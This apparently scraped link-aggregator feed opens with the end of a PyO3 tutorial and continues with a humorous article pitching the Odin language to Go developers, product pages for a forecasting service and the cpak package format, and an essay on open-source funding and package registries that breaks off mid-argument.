Here is why that conversion is not free. .into_pyobject walks the entire JsonValue tree and rebuilds it as native Python objects: a dict per object, a list per array, a float or str per leaf. You provide that translation by implementing the IntoPyObject trait, which PyO3 calls to convert a Rust value into a Python one:

impl<'py> IntoPyObject<'py> for JsonValue {
    fn into_pyobject(self, py: Python<'py>) -> Result<Self::Output, Self::Error> {
        match self {
            JsonValue::Null => Ok(py.None().into_bound(py)),
            JsonValue::Number(n) => Ok(n.into_pyobject(py)?.to_owned().into_any()),
            JsonValue::Object(obj) => {
                let py_dict = PyDict::new(py);
                for (k, v) in obj {
                    py_dict.set_item(k, v.into_pyobject(py)?)?;  // recurses
                }
                Ok(py_dict.into_any())
            }
            // ...arrays, strings, booleans
        }
    }
}

A document with 100,000 values means on the order of 100,000 Python objects being created at the boundary, all after parsing is completely done. On a large document this materialization loop, not the parsing, can dominate the end-to-end time.

Errors cross the boundary the same way

The return value is not the only thing that has to translate. A parse failure is a typed Rust error, and Python wants an exception. One From impl, the trait Rust uses to convert one type into another, lets ? do the work:

impl From<JsonError> for PyErr {
    fn from(err: JsonError) -> PyErr {
        match err {
            JsonError::UnterminatedString { position } => PyValueError::new_err(
                format!("Unterminated string starting at position {position}")
            ),
            // ...one arm per error variant, position preserved
        }
    }
}

Now malformed input raises a ValueError carrying the offset where parsing broke. The file-reading path gets the same treatment for free: std::io::Error already converts to the matching Python exception, so a missing path raises FileNotFoundError.

The caller gets Python semantics without the Rust layer leaking through.

What this means for your own port

If the Rust function you're porting returns a scalar, port it and move on. The boundary is usually small enough to ignore.

If it returns a large structure, the conversion is your real cost, and it is the next thing to optimize once the parser itself is fast. Preallocating the PyDict can help at the margins, but the bigger win is architectural: don't materialize the whole tree if the caller won't touch all of it. Hand back a lazy, Rust-backed view and build Python objects on demand.

So when you reach for PyO3, profile the boundary, not just the algorithm. Getting Rust to run fast is the easy half. What you build on the way out, the trip from Rust values to Python objects, is the half that decides whether the port was worth it.

Learning Rust? I co-run a 6-week Python to Rust cohort where you build a performant JSON parser with PyO3 bindings.

Golang developers should try Odin

Lobsters
rm4n0s.github.io
2026-09-13 11:23:41
Comments...
Original Article

(BEWARE: the article may cause seizures)

Introduction

I’ve been using Golang for 10 years, and even though I tried other programming languages, I always went back to it because of its simplicity.

It is so simple that reading the source code and playing around helped me pick up the majority of the syntax when I first got into Golang.

However, it pains me to say that Golang has problems because of its garbage collector and runtime.

Some of the problem are listed here:

  • CGO
    • It runs and compiles slowly
    • You have to know and write C in comments!!
    • It can not compile to WASM
  • The language is slow compared to Rust
  • It is easy to have memory leaks and they are hard to find.
  • The error type is not good

But even with these problems, I still prefer Golang to other programming languages, until I met Odin a week ago, and it was love at first sight.

This article will show you the beauty of Odin.

What is Odin and who is it for

Odin is a new programming language that is

  • 60% Golang,
  • 20% features that you wished Golang had
  • 10% array programming
  • 10% low level, FFI, memory management

People think that it is only for game development just because it includes 3D libraries with the compiler, but I disagree. Odin is also for backend development because it has a core library similar to Go’s standard library. Which means that it has all the building blocks for us to copy the rest of Go’s libraries like Chinese manufacturers.

I know that some of you play around with Rust, Zig, C3 or Hare, but these do not have array programming and struct tags in their languages.

Just ask yourself:

  • how will you serialize data between DBs and markup languages without struct tags?
  • how will you write a server side anticheat without array programming? Don’t you want to make linux gamers happy?

It even has quaternions! Do you know what that is? Me neither! But I am excited to learn.

Odin is ready

The language will not change and it will stay stable until you retire. However, the compiler, toolchain, and core library are still in development and always improved.

Also, it is used in production from JangaFX and ChiAha™

The characteristics of Odin

The language has 31 keywords, but each keyword may have a #directive or @(attribute). It may seem too much for someone that cannot remember more than 26 keywords like me, but all the keywords, directives, and attributes connect so seamlessly together like reading English.

For example, the switch-case that works like in Golang requires from the user to specify every case, unless you put the #partial directive in front of it.

It will really make sense to you how easy it is for you to understand the code without knowing the language. Take 10 minutes to read demo.odin , its got almost everything you need to get started.

Yes, it does not have documentation (no, the overview is not a real documentation), but that is the beauty of it. You learn to code in Odin by reading other’s people code. Most of the standard library does not have comments or examples, but you can easily understand how to use it through its source code.

No, it does not have macros, or comptime, or constexpr or decorators and it is better that way because every language that has them makes developers to waste 90% of their time googling for every library that uses them.

Trust me, stick with Odin’s pre-defined directives and attributes.

Yes, it has generics, and they are more well-designed than Golang’s generics.

No, it does not have a package manager, or go.mod file or anything else. The package is just a directory that you just copy to your project, and you call it relative to the path of the source code file.

For example,

// git clone https://github.com/laytan/odin-http
// vim main.odin
package main
import http "odin-http"

Yes, compiler is as simple as Golang’s compiler.

cd myproject
odin build .
odin run main.odin -file

Yes, it has VSCode plugin with autocompletion.

The trade offs

Odin has manual memory management, which is why it does not have Closures, Composition, Goroutines, and Selectors. However, I will demonstrate how you can live without them.

Secondly, it lacks libraries, which is why I’m trying to get you to learn it so you can copy your libraries from Go to Odin.

Lastly, it does not have documentation or books, but if you have years of experience in Go, then Odin will feel like home.

Living without a garbage collector

Error handling

Living without a garbage collector means that you don’t have errors.New() or fmt.Errorf(). There is no error type in Odin. You only have Enums, Unions and Structs, and that is better than Go’s errors.

Go’s errors suck

Golang’s errors makes you push server-side error messages to users, and you cannot do anything to stop it. That is not a good thing because users don’t need to know what is SQL or that the bank_account is nil.

Furthermore, another problem is that Go’s errors do not have stack traces.

Now look at the superpower of Odin

For each function you create, also include an enum or a union or a struct to represent the error for that specific function.

    Payment_Error :: enum {
	    None,
	    Bank_Account_Is_Empty,
    }


    Pay_Half_Debt_Error :: union #shared_nil {
        Payment_Error,
        json.Marshal_Error,
    }

    Save_House_Error :: union #shared_nil {
        Pay_Half_Debt_Error,
        Is_Even_Worth_Saving_Error,
    }
    // etc

When a function returns an error that it received from another function, and so forth, you will receive an error value similar to this.

    err := Extend_Deadline_Error(
		Save_House_Error(
            Pay_Half_Debt_Error(
                Payment_Error.Bank_Account_Is_Empty
                )
        ),
	)

From there you can create trees of switch statements that return proper user messages.

    #partial switch save_house in err {
	case Save_House_Error:
		pay_half := save_house.(Pay_Half_Debt_Error)
		#partial switch pay in pay_half {
		case Payment_Error:
			#partial switch pay {
			case .Bank_Account_Is_Empty:
				fmt.println("You have 24 hours to leave the house.")
			}
		}
	}

And also you can print it like a stack trace using my library

    // this condition works thanks to #shared_nil directive in union
	if err != nil {
		tr := trace.trace(err)
		defer delete(tr) // defer works in scopes
		fmt.println(tr)
	}
// prints: Extend_Deadline_Error -> Save_House_Error -> 
//Pay_Half_Debt_Error -> Payment_Error.Bank_Account_Is_Empty

Even by looking the type of errors you can guess what the functions do.

No other programming language can do that.

If Odin can’t help the economy, then nothing can.

Memory management

Lets be clear

Before we talk about memory management let me clarify three things:

  1. No matter what the person with the programming socks told you, Odin does not have security vulnerabilities in its memory allocators.
  2. Memory leaks can occur in all programming languages, but what matters is how easily you can find them and fix them.
  3. If you don’t handle memory yourself, then Odin will never accept you in Valhalla.

A mini introduction

If you read demo.odin then you already know how pointers work, but if you haven’t already then just remember:

    n : ^int // this is how you assign pointer type 
    n = new(int) // this is how you create a new pointer 
    assert(n^ == 0) // remember that all pointers have default values
    n^ = 2 // this is how you assign a value to a pointer
    fmt.println(n^) //this is how you read the value from a pointer
    free(n) //this is how you free a pointer

    // make()/delete() is for strings, array and maps. 
    // For the rest of the types use new()/free()
    arr := make([dynamic]int) 
    delete(arr)

    // make(),delete(),new() and free() accept allocators
    // if you don't add an allocator then they use the default.

    // context.allocator is the default allocator
    my_allocator := context.allocator 
    m := new(int, my_allocator)

    // you can also change the default allocator
    context.allocator = my_allocator

    // import "core:mem" has many other types of allocators
    // like Tracking_Allocator to track leaks
    // and Panic_Allocator useful for spaceship software

The gotchas

If you double delete() or double free() a pointer, then the you will get “Segmentation fault”

    arr := make([dynamic]int) 
    delete(arr)
    delete(arr) // causes "Segmentation fault"

If you read pointer after free() or delete(), you will get random value

	n = new(int)
	n^ = 2
	free(n)
	fmt.println(n^) // it will not print 2 but something random

If you make() an array of new() pointers then you have to free() the pointers inside the array before deleting the array, or else it will cause a memory leak.

   	arr := make([dynamic]^int)
	for i in 0 ..< 10 {
		n := new(int)
		n^ = i
		append(&arr, n)
	}
    // if you don't free each item
	// for n in arr {
    //   free(n)
	// }
	
	// then this will leak
	delete(arr)

My rules to avoid gotchas

For your global pointers, assign nil after you deallocate them and check for nil before you deallocate, read, or assign the pointer.

	global := new(int)

	if global != nil {
		free(global)
		// after deallocation assign nil to the pointer
		global = nil
	}

	// so other procedures can:

	// - check before assign
	if global != nil {
		global^ = 2
	}

	// - check before they read
	if global != nil {
		fmt.println(global^)
	}

	
	// - check for nils and not double free
	if global != nil {
		free(global)
		global = nil
	}

For your local pointers, use defer to deallocate the pointer. Always put defer under the allocation so it is easy to see the deallocation.

{
	n := new(int)
	defer free(n) 

	n^ = 2
	fmt.println(n^)

	// defer will run the free() here
}

If a procedure contains the parameter “allocator := context.allocator” then 99% of the time the results need to be deallocated. This means that you have to call delete()/free() or call another procedure from the same library that will deallocate the pointer for you.

   
	// when a procedure creates a pointer with a deallocator then it has name that ends with _init
    multi_reader_init :: proc(
		mr: ^Multi_Reader, 
		readers: ..Reader, 

		 // always look at the end of parameter lists for "allocator"
		allocator := context.allocator) -> (r: Reader)

	// its deallocator has a name that ends with _destroy
	multi_reader_destroy :: proc(mr: ^Multi_Reader)

Use Arena_Allocator to allocate an array of pointers and then just destroy the arena.

	arr_arena: virtual.Arena

    // create arena allocator
	arena_allocator := virtual.arena_allocator(&arr_arena)

    // create the array using the arena allocator
	arr := make([dynamic]^int, allocator = arena_allocator)
	for i in 0 ..< 10 {

		// include the items in the arena
		n := new(int, allocator = arena_allocator)
		n^ = i
		append(&arr, n)
	}

    // delete everything in a single sweep
	virtual.arena_destroy(&arr_arena)

Interfaces

Odin does not have interfaces, which is why I say that they work like quantum entities. When you look at them, they act like interfaces, but when you don’t look at them, they are just pointers.

There are two ways to write interfaces in Odin.

Do it like in Go

This example emulates composition.

Stringer_Interface :: struct {
	data:   rawptr,
	sprint: proc(
		si: Stringer_Interface, 
		allocator := context.allocator) -> string,
}


Book :: struct {
	name: string,
}


new_stringer_book :: proc(b: ^Book) -> Stringer_Interface {
	return Stringer_Interface {
		data = rawptr(b),
		sprint = proc(si: Stringer_Interface, 
                      allocator := context.allocator) -> string {
            context.allocator = allocator
			data := cast(^Book)si.data
			return fmt.aprint("The name of the book is", data.name)
		},
	}
}

print :: proc(si: Stringer_Interface) {
	str := si->sprint()
	defer delete(str)
	fmt.println(str)
}


main :: proc() {
	odin_book := Book {
		name = "Odin book",
	}
	stringer_book := new_stringer_book(&odin_book)
	print(stringer_book)
}

Also, this is how interfaces used in Odin’s standard library.

For example, sort.Interface in Odin is copied from Go using this type of interface structure.

Do it like in Java

Here is an example that looks like Java’s abstract class.

Shape_Abstract :: struct {
	width:    int,
	height:   int,
	get_area: proc(shape: ^Shape_Abstract) -> int,
}

Penis :: struct {
	using _: Shape_Abstract,
	name:    string,
}

new_penis :: proc(name: string, width, height: int) -> Penis {
	return Penis {
		name = name,
		width = width,
		height = height,
		get_area = proc(shape: ^Shape_Abstract) -> int {
			data := cast(^Penis)shape
			return data.width * data.height
		},
	}
}

print_area :: proc(shape: ^Shape_Abstract) {
	fmt.println("Area:", shape->get_area())
}

main :: proc() {
	my_penis := new_penis("mini me", 5, 23)
	print_area(&my_penis)
}

Also, you can’t add more than one interface to a struct or you’ll start getting weird shit or segmentation faults. So in the end, it also works like in java.

Threads

Odin does not have goroutines or selectors because they need garbage collectors to work.

However, I have written a complete example just for you on how to emulate goroutines and selectors in Odin.

This example demonstrates the feeding process for baby birds from their parents.

(You know the process. Mama bird throws up on the kids mouth to feed them. Isn’t nature beautiful?)

package main


import "core:fmt"
import "core:mem"
import "core:strconv"
import "core:sync"
import "core:sync/chan"
import "core:thread"
import "core:time"

Parent_Enum :: enum {
	Father,
	Mother,
}

Food_From_Father :: struct {
	papa_index: int,
}

Food_From_Mother :: struct {
	mama_index: int,
}

Food :: union {
	Food_From_Father,
	Food_From_Mother,
}


KidData :: struct {
	kids_wait_group: ^sync.Wait_Group,
	mouth:           ^chan.Chan(Food, chan.Direction.Recv),
}

ParentData :: struct {
	parent_type:        Parent_Enum,
	num_foods:          int,
	parents_wait_group: ^sync.Wait_Group,
	mouth:              ^chan.Chan(Food, chan.Direction.Send),
	mouth_mutex:        ^sync.Mutex,
}

parent_task :: proc(t: ^thread.Thread) {
	data := (cast(^ParentData)t.data)
	fmt.println(data.parent_type, "starts feeding")

	for i in 1 ..= data.num_foods {
		food: Food
		if data.parent_type == .Mother {
			food = Food_From_Mother {
				mama_index = i,
			}
		}
		if data.parent_type == .Father {
			food = Food_From_Father {
				papa_index = i,
			}
		}

		// if you don't add mutex, then at least once, 
		// a parent will send the same food index to two kids
		// while the other parent does not send any food
		// for the same food index (which I don't understand why)
		sync.mutex_lock(data.mouth_mutex)
		chan.send(data.mouth^, food)
		sync.mutex_unlock(data.mouth_mutex)

		// wait to throw up new food
		time.sleep(500 * time.Millisecond)
	}

	sync.wait_group_done(data.parents_wait_group)
	fmt.printfln("%v's feeding stopped", data.parent_type)

}

kid_task :: proc(t: thread.Task) {
	data := (cast(^KidData)t.data)
	fmt.println("kid", t.user_index, "opens mouth")
	for {
		msg, ok := chan.recv(data.mouth^)
		if !ok {
			fmt.println("mouth closed for kid", t.user_index)
			break
		}
		switch food in msg {
		case Food_From_Father:
			fmt.println("kid", t.user_index, 
              "received food", food.papa_index, 
              "from father")
		case Food_From_Mother:
			fmt.println("kid", t.user_index, 
              "received food", food.mama_index, 
              "from mother")
		}

		// wait to chew their food
		time.sleep(time.Second)
	}
	fmt.println("kid", t.user_index, "finished eating")
	sync.wait_group_done(data.kids_wait_group)
	fmt.printfln("kid %d went to bed", t.user_index)
}

main :: proc() {
	parents_wg: sync.Wait_Group
	kids_wg: sync.Wait_Group
	num_kids := 5

	// create feeding pipe
	mouth, err := chan.create(chan.Chan(Food), context.allocator)
	defer chan.destroy(mouth)
	mouth_mutex := sync.Mutex{}

	// create mama bird
	mama_mouth := chan.as_send(mouth)
	mama_thread := thread.create(parent_task)
	defer thread.destroy(mama_thread)
	mama_thread.init_context = context
	mama_thread.user_index = 1
	mama_thread.data = &ParentData {
		parent_type        = .Mother,
		num_foods          = 8, // with more food
		parents_wait_group = &parents_wg,
		mouth              = &mama_mouth,
		mouth_mutex        = &mouth_mutex,
	}

	// create lazy father bird
	papa_mouth := chan.as_send(mouth)
	papa_thread := thread.create(parent_task)
	defer thread.destroy(papa_thread)
	papa_thread.init_context = context
	papa_thread.user_index = 2
	papa_thread.data = &ParentData {
		parent_type        = .Father,
		num_foods          = 6, // with less food
		parents_wait_group = &parents_wg,
		mouth              = &papa_mouth,
		mouth_mutex        = &mouth_mutex,
	}

	sync.wait_group_add(&parents_wg, 2)

	thread.start(mama_thread)
	thread.start(papa_thread)

	// create a nest for kids
	nest: thread.Pool
	thread.pool_init(&nest, 
        allocator = context.allocator, 
        thread_count = num_kids)

	defer thread.pool_destroy(&nest)

	sync.wait_group_add(&kids_wg, num_kids)
	for i in 1 ..= num_kids {
		kid_mouth := chan.as_recv(mouth)
		data := &KidData{
            kids_wait_group = &kids_wg, 
            mouth = &kid_mouth
        }

		// add kid to the nest
		thread.pool_add_task(
			&nest,
			allocator = context.allocator,
			procedure = kid_task,
			data = rawptr(data),
			user_index = i,
		)
	}

	thread.pool_start(&nest)


	// first we wait for parents to stop feeding kids
	sync.wait_group_wait(&parents_wg)
	fmt.println("all parents stopped feeding them")

	// everybody closes their mouths
	chan.close(mouth)
	fmt.println("kids close their mouths")

	// we wait for all kids to sleep
	sync.wait_group_wait(&kids_wg)

	fmt.println("all kids slept")

	// run this or else the program will never close
	thread.pool_finish(&nest)

}

If you haven’t figured out what is the selector and the goroutines in this example, then look at the union and threadpool.

One channel that accepts the union type message is equivalent to using two channels and a selector in Golang because each individual type in the union is equivalent to a channel in a selector. The union emulates the selector.

The threadpool is equivalent to Golang’s runtime because it runs the threads in a head of time that will be used later on to run the goroutines.

Just remember your university’s Java course on concurrency, use threads for long-running tasks, threadpools for small tasks and paracetamol for deadlocks.

In conclusion

With this article, I hope now you understand Odin’s potential for the future and as a Golang’s replacement for backend development.

By the way, if you read demo.odin and my explanations without skipping anything, then from now on you are a Senior Odin Developer. (ooops!)

Congratulations!

To be a Grandmaster Odin Developer, just scroll overview and how to bind to C

Predictive intelligence to anticipate anything.

Hacker News
prior.chat
2026-09-13 11:11:22
Comments...
Original Article
Prior

Prior helps you anticipate anything: sports, markets, decisions, even the messy personal stuff. It pulls context, runs simulations, and gives you the sharpest weighted outcomes. Our goal is to create the most powerful predictive intelligence in existence.

What is Prior?

Prior is a predictive intelligence platform built by Prior Software Inc. It helps people anticipate the outcome of future events and decisions — including sports, financial markets, business choices, and personal questions.

How does Prior work?

You ask any question about a future event. Prior asks short follow-up questions to gather context, researches current public information on the web, reviews your relevant past predictions, and then produces a single forecast report containing a calibrated probability, weighted scenarios, the key drivers behind the prediction, the conditions that would flip the outcome, supporting context, and suggested actions.

What does Prior cost?

Free visitors get one prediction per week with no account required. Paid monthly plans are Standard ($29, ten predictions per week), Max ($99, thirty predictions per week), and Ultra ($499, unlimited predictions). Accounts include a personal prediction archive and an accuracy record across resolved forecasts.

Is Prior financial, medical, legal, or betting advice?

No. Prior is proprietary research software. It does not provide financial, medical, legal, or betting advice, and it accepts no liability for decisions made from its forecasts. Users make their own decisions.

Cpak – OCI application package format for Linux desktops, servers and devices

Hacker News
cpak.it
2026-09-13 11:02:56
Comments...
Original Article
Isometric cubes

Deploy as freely
as you develop

cpak is the OCI application package format for Linux desktops, servers and devices.

The Store

Familiar apps, ready for cpak

Every package has a clear manifest, a real origin and a command you can inspect before installing it.

Browse every package arrow_forward

cpak Learn

Learn cpak by making it decide

Follow a complete course, change real manifests and see what cpak accepts, refuses or changes. Professional paths lead to an exam and a public, verifiable credential.

Open cpak Learn

Ultra-light footprint

Two static binaries provide the runtime and one shared content store for every application.

Docker-style compatibility

Familiar Dockerfile syntax, layer caching and incremental builds without a container daemon in production.

Host GPU integration

Bind host graphics drivers at launch instead of packaging a second driver stack in every image.

Secure system resource access

Declare access to DBus, sockets and devices. Grant only the resources an application needs.

Git-native versioning

Install any tag, branch or exact commit SHA, then pin the source that should receive updates.

One package model

Use the same manifest and command across systems, with an OCI image built for each architecture.

Nobody pays for open source. We can force them to

Lobsters
seldo.com
2026-09-13 10:34:32
Comments...
Original Article

The first time I thought it would be a good idea to write a blog post about the economics of open source was 2013, so this post has been in the works a while. The closest I got before today was 2022, when I wrote a stream-of-consciousness rant into my iOS notes that ended with basically "nothing fucking works". And then that sat there for 4 more years, because "nothing works" is too depressing to bother writing 5000 words about. Now, finally, I have an idea. It's gonna take 5000 words to get there, though, so if you don't have that kind of time, skip to the part about registries.

Open source is a game with a stable outcome, and the outcome is that free wins

I've written before about hawks and doves , which is a model from evolutionary biology. You have a population of animals competing for some resource. Some of them fight for it (hawks) and some of them share it (doves). A population that is all hawks is unstable: everybody's constantly getting hurt, and the first two doves to show up cooperate with each other and out-compete everyone. A population that is all doves is unstable too: the first hawk to show up competes with everybody and wins every time. What's stable is a mixture of both types, in proportions such that changing your behaviour doesn't help you, so nobody does. That mix is called an evolutionarily stable strategy, or ESS, and the important word is "stable." It's not the best strategy (arguably that's all doves, where nobody gets hurt), it's just the one the population ends up at and can't leave. I find it a useful way of thinking about software, because software has hawks and doves too.

Closed source is the hawk. It competes: it withholds the code, charges a premium for having something nobody else has, and fights to keep it that way. Open source is the dove. It cooperates: it gives the code away and takes the gains from everybody else giving theirs away too. The resource they're competing over is money, ultimately, though it shows up first as users and as developer attention.

The equilibrium we've landed on is very specific. The evolutionarily stable strategy for a piece of software is "anybody may use this for anything, including commercially, for free." That's MIT, BSD, Apache, the licenses that ask for nothing. Every project that has tried to be a slightly less generous dove has lost to a project that stayed a full dove, and I can give you a lot of examples:

  1. In 2017 the Apache Software Foundation banned React's BSD+Patents license from Apache projects, WordPress announced it was dropping React, and within weeks Facebook relicensed React under MIT rather than watch it die.
  2. In 2021 Elastic moved Elasticsearch to a source-available license to stop Amazon selling it as a service. Amazon forked it as OpenSearch, the fork ended up at the Linux Foundation with thousands of contributors, and in 2024 Elastic quietly went back to an open source license.
  3. In 2023 HashiCorp did the same thing to Terraform. The OpenTofu fork went to the Linux Foundation, and HashiCorp got bought by IBM.
  4. In March 2024 Redis did it too. The Valkey fork picked up every cloud provider within about a week, and in May 2025 Redis put the AGPL back, with the CEO admitting the change had cost them enormously.

Nobody who has tried to charge for open source at the license level has held the line against a competently run fork, and I don't think that's because of ideology. The people running those companies would love to charge for their code, and most of the people forking it don't care much about freedom in the abstract. It's because of the structure of the market. Disruption, in the original sense, is when a much worse and much cheaper product takes over the bottom of the market, then gets gradually better until it's eaten the whole thing, and there's nothing to stop that process repeating until the product costs nothing at all. Software has been getting disrupted like this for as long as there has been software, and what you end up with is a market with two halves: an enormous cheap half that nearly everybody uses, and a much smaller expensive half that makes nearly all of the money. Android has the market share and iOS has the profits, and they are both gigantic successes depending on which number you're looking at. Free wins share and closed wins profit, and both of them win.

The stable outcome runs on people burning out

So far this is fine. Free software wins, closed software makes money, everybody has a niche. The problem is what the free layer looks like from the inside.

Sixty percent of open source maintainers are not paid for the work. That's from Tidelift's 2024 survey, and it's the same number they got in 2023, and the same number they got in 2021. Of the unpaid ones, 61% work alone. Nearly 60% of all maintainers have quit or thought about quitting, and the reasons they give are the ones you'd guess: they have a life, they lost interest, they burned out.

The amount of software those people are holding up is silly. Sonatype looked at 1.2 million open source projects in 2023 and found that 11% of them were actively maintained. The Linux Foundation's Census II found that 136 developers wrote more than 80% of the code in the fifty most-used packages. A Harvard study estimated that if open source disappeared, companies would have to spend $8.8 trillion to replace it, and found that 5% of developers produce 96% of that value. This is the JavaScript ecosystem's whole personality, for what it's worth: a huge number of tiny packages with one maintainer, or less than one, sitting at the bottom of the dependency trees of companies that have bet their businesses on them. I spent five years at npm watching this happen and it never stopped being alarming.

The example everybody uses now is xz. In 2024 it turned out that a compression library present in more or less every Linux machine on earth had a backdoor in it, inserted over two years by a fake contributor who had, very patiently, socially engineered the one unpaid person maintaining it into handing over the keys. The maintainer had said publicly that he was struggling and couldn't keep up, and rather than anybody funding him, somebody groomed him. The backdoor was caught by a Microsoft engineer who noticed SSH was taking half a second longer than it should, which is not the kind of defence you want to be relying on.

Now, the popular way to tell this story is "the system is breaking," and I don't think that's right, and the distinction matters. The system isn't breaking. It's stable, at a level of human cost we've collectively decided to put up with. A maintainer burns out, somebody else picks it up, they burn out, and so on. Serial near-burnout isn't a bug in the equilibrium, it is the equilibrium. Open source is very old, and if this was going to collapse it would have done so by now. This is a machine that runs on blood, and because it is the evolutionarily stable strategy, we have been powerless to change it.

What changed is velocity, and only velocity

But it feels like the problem is getting worse, doesn't it? If a stable system is producing worse outcomes than it used to, one of the inputs moved. The one that moved is speed.

Linux accumulated slowly, so you could maintain a chunk of the kernel on nights and weekends for a decade, because nobody was waiting on you. Then the web happened, and then npm happened, and a million tiny modules appeared in about ten years, any one of which could become load-bearing for somebody's production system within weeks of being published. The software got important faster than any institution could notice it was important, never mind fund it. Meanwhile security got faster too: a bug in a popular library is now exploited within days and lands on tens of thousands of companies at once. So the cost of maintaining a popular package went up a lot, and the payoff for maintaining it stayed exactly where it was, which is zero dollars and a warm feeling.

Nights and weekends stopped being enough, and people kept doing it anyway, because they were always going to write the software. Developers write software the way singers sing, which is to say they'd do it if nobody was listening, and that isn't a problem to be fixed, it's the thing that makes the whole system work. Any proposed solution that involves developers writing less software, or writing less generously, is a non-starter with me. The problem isn't that people write software for free. It's that we've arranged things so the people who write the most useful software for free get a second unpaid job as a reward.

Everything we've tried moves money, and none of it moves the equilibrium

This is the depressing bit, and it's the bit I've been putting off for four years, so let's get through it quickly. Here is what we've tried:

  1. Tips. GitHub Sponsors passed $100 million in total payouts in July 2026, which sounds like a lot until you put it next to $8.8 trillion. It's distributed the way tips are always distributed, which is a power law: a handful of well-known people do fine and the median sponsored maintainer makes lunch money. Open Collective, Patreon, Ko-fi, same shape.
  2. Foundations. The Linux Foundation, Apache, OpenJS, the Python Software Foundation. These are real institutions with real budgets, and what they mostly pay for is staff, events and infrastructure. That's not a knock; somebody has to run the conference. But in the Tidelift survey only 3% of maintainers got any money from a foundation, and 1% from a government. Foundations are companies paying to steer, not companies paying the people who row.
  3. Corporate generosity. Google's open source office, Microsoft's FOSS fund, and Sentry's Open Source Pledge , which asks companies to give $2,000 per developer per year and launched in 2024 with about $1.3 million committed. I like the Pledge. It has the same flaw as everything else on this list, which is that it's charity, and charity does not scale to trillions. Dan Lorenc, who spent years at Google and OpenSSF trying to give money to maintainers, said they had more money than they could give away and it didn't fix anything. I think that's one failed attempt rather than a law of nature, but it does go on the list of failed attempts.
  4. Paid security. Tidelift's whole model was paying maintainers to keep their packages secure and selling the assurance to companies, which is a good idea, and in December 2024 it got acquired by Sonar , which is what happens to good ideas that can't find enough buyers on their own. OpenSSF's Alpha-Omega gives out five or six million dollars a year, mostly to fund security staff inside foundations, which is sensible but small.
  5. Government. Germany's Sovereign Tech Fund is a great idea: taxpayer money, no strings, straight to the maintenance of critical infrastructure, more than €24 million to sixty-odd projects since 2022. It's also one fund, in one of about 190 countries, spending about €20 million a year, and the EU-wide version is a proposal for a budget cycle that starts in 2028.
  6. Mozilla. Mozilla is funded by a straw stuck into Google's search revenue, and everyone at Mozilla knows this is a problem, which is why they keep trying to diversify and keep not managing it. (For a while Mozilla and Google were literally in the same building in San Francisco, on different floors.) You can't generalize "find somebody else's revenue stream and stick a straw in it" because there aren't enough revenue streams to go around.
  7. Licensing , which we've covered. Dual licensing, source-available, "fair source": every one of them is a dove trying to be a bit of a hawk, and every one of them loses to the full dove next door.

Look at what all of these have in common. They're all voluntary. Companies are asked to give, and some do, and most don't, and the ones that don't get exactly the same software as the ones that do. Charity doesn't scale, and nobody has the authority to issue a mandate. We have been asking companies to pay for open source for thirty years, and I think we can consider asking to be fully tested.

Companies do pay for open source, just not to the people who write it

Here's the thing that made me realize I'd been thinking about this wrong: companies already pay for open source, quite a lot of money in fact, they just don't pay it to maintainers.

JFrog sells Artifactory, which is a private mirror that sits between your build servers and the public package registries. JFrog had $532 million in revenue in 2025 , up 24%. Snyk, which scans your dependencies for vulnerabilities, is at about $326 million a year . Docker, which runs the registry every container image comes from, is at $207 million . Chainguard, which sells hardened versions of open source images, went from about $40 million to a target of $100 million in a year. Sonatype is private, but it both runs Maven Central, the registry every Java build pulls from, and sells Nexus, the mirror you put in front of it; by Sonatype's own numbers 86% of Maven Central's traffic comes from cloud providers, which is to say from companies. Add Sonar, which now owns Tidelift, and Socket, and the rest of the supply chain security market, and you're comfortably over a billion dollars a year.

What is all that money for? Strip off the marketing and every one of these companies is selling the same thing, which is dependable supply of free code . Your builds don't break when the registry goes down. Your dependencies are cached, scanned, signed, and provably what they say they are. When the next Log4Shell happens you can find out in an hour which of your two thousand services is affected. That's a real product solving a real problem, and companies buy it enthusiastically, because "the free thing we depend on might be broken or malicious and we can't tell" is exactly the kind of problem a procurement department knows how to spend money on.

I want to be clear that I don't think these companies are villains. Several of them are run by people I like. They're solving the actual problem, which is that companies need to be able to depend on code they didn't write and can't inspect. They're just solving it at the wrong layer. They sell insurance against the maintainer, when the maintainer is the one person in the chain who can actually make the code more secure, and she gets nothing while a company two layers up gets paid to tell you whether she did.

This changed my whole view of the problem. For years I assumed the constraint was the supply of money: companies simply would not pay for open source and no mechanism could make them, and Lorenc's story fits that. But the JFrog invoice says otherwise: companies will pay for open source, happily, when it shows up as a boring line item labelled "supply chain." The supply of money was never the problem, the problem is where it gets captured on the way down.

Free wins the code game, but the default wins the supply game

So why doesn't the ESS apply here? If free always wins, why hasn't a free mirror eaten JFrog?

Because there are two games going on, and they have different winners. In the code game the resource is the software itself, and free wins every time, because anybody can copy code, so any attempt to charge for it invites a copy that doesn't. In the supply game the resource is not having to think about where the code comes from, and that game is won by whoever is the default.

Look at the evidence. Nobody has ever successfully forked a registry. Free mirrors of npm, PyPI and Docker Hub exist, are trivial to run, and in some cases are one command away, and companies pay JFrog half a billion dollars a year regardless. Red Hat lost the desktop to Ubuntu, which was funded by a rich guy giving it away, and lost it decisively; the dove won the code game. Red Hat then sold to IBM for $34 billion and makes north of $6 billion a year selling companies supply of the same free code with a phone number attached. Anybody could have had the same code for free, and lots of them did, but a very large number of companies paid Red Hat anyway.

Docker is the clearest example because it happened recently and in public. In November 2020 Docker Hub started rate-limiting anonymous and free pulls. In August 2021 Docker Desktop became a paid product for any company with more than 250 employees or $10 million in revenue, and stayed free for individuals, small companies and open source projects. If free always won, a free alternative should have eaten them, and Podman and containerd exist and are free and are perfectly fine. Instead Docker's revenue went from roughly $12 million in 2020 to over $50 million in 2021 to $207 million in 2024 , with more than a million paid seats. (Docker also tried announcing per-pull consumption charges and then cancelled them in 2025 after developers rioted, which tells you exactly what shape of charge works: bill the company, not the download. Nobody wants a bill that goes up every time CI reruns.)

Free wins the code game, but the supply game is won by whoever is the default, and defaults can charge. The registries are the one place in the whole system where the two games touch, because they are where free code turns into supply, and unlike a license, a registry can't be routed around by copying, because it's not a legal restriction, it's an extremely convenient piece of infrastructure. They don't want to route around it; routing around it is a pain in the ass worth paying to avoid.

Nobody has seriously tried this at the registry layer

At this point somebody is going to say "hasn't this been tried?", and the answer is sort of, and the ways it failed are instructive. I'm going to define "the registry layer" narrowly: whoever owns the domain that everybody is downloading stuff from. By that definition almost nothing on this list counts.

